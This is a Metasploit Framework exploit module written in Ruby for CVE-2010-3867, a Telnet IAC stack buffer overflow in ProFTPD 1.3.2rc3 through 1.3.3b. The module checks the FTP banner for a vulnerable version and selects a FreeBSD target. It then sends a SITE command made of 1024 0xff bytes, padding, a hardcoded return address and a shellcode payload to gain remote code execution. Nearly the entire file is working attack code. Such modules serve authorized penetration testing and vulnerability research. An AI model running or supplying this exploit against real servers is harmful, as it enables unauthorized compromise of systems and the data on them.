##
# $Id: proftp_telnet_iac.rb 10900 2010-11-04 18:12:11Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in versions of ProFTPD
				server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
				large number of Telnet IAC commands, an attacker can corrupt memory and
				execute arbitrary code.
			},
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 10900 $',
			'References'     =>
				[
					['CVE', '2010-3867'],
					#['OSVDB', ''],
					['BID', '44562']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 4096,
					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops'	=>  'True',
					'StackAdjustment' 	=> -1500
				},
			'Platform'       => [ 'bsd' ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],

				#
				# specific targets
				#
				[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
					{
						'Offset' => 15,
						'Ret' => 0xbfbfeac4,
						'Readable' => 0xbfbfbfbf,
					}
				],

				#
				# this one will detect the parameters automagicly
				#
				[	'Debug',
					{
						'Offset'    => -1,
						'Writable' 	=> 0x41414242, 	#
						'FlowHook'	=> 0x43434545		#
					}
				],
			],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 1 2010'))

		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end


	def check
		# NOTE: We don't care if the login failed here...
		ret = connect

		# We just want the banner to check against our targets..
		print_status("FTP Banner: #{banner.strip}")

		status = CheckCode::Safe
		if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
			ver = $1
			maj,min,rel = ver.split('.')
			relv = rel.slice!(0,1)
			case relv
			when '2'
				if rel.length > 0
					if rel[0,2] == 'rc'
						if rel[2,rel.length].to_i >= 3
							status = CheckCode::Vulnerable
						end
					else
						status = CheckCode::Vulnerable
					end
				end
			when '3'
				# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
				status = CheckCode::Vulnerable
				if rel.length > 0
					if rel[0,2] != 'rc' and rel[0,1] > 'b'
						status = CheckCode::Safe
					end
				end
			end
		end

		disconnect
		return status
	end


	def exploit
		connect

		# Use a copy of the target
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				print_status("No matching target")
				return
			end

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				print_status("No matching target")
				return
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end
		end

		#puts "attach and press any key"; bleh = $stdin.gets

		buf = ''
		buf << 'SITE '
		buf << "\xff" * 1024
		buf << rand_text_alphanumeric(mytarget['Offset'])
		buf << [
			mytarget['Ret'],
			mytarget['Readable']
		].pack('VV')
		#buf << "\xcc"
		buf << payload.encoded #.gsub("\xff", "\xff\xff")
		buf << "\r\n"

		sock.put(buf)
		disconnect

		print_status("Your payload should have executed now...")
		handler
	end

end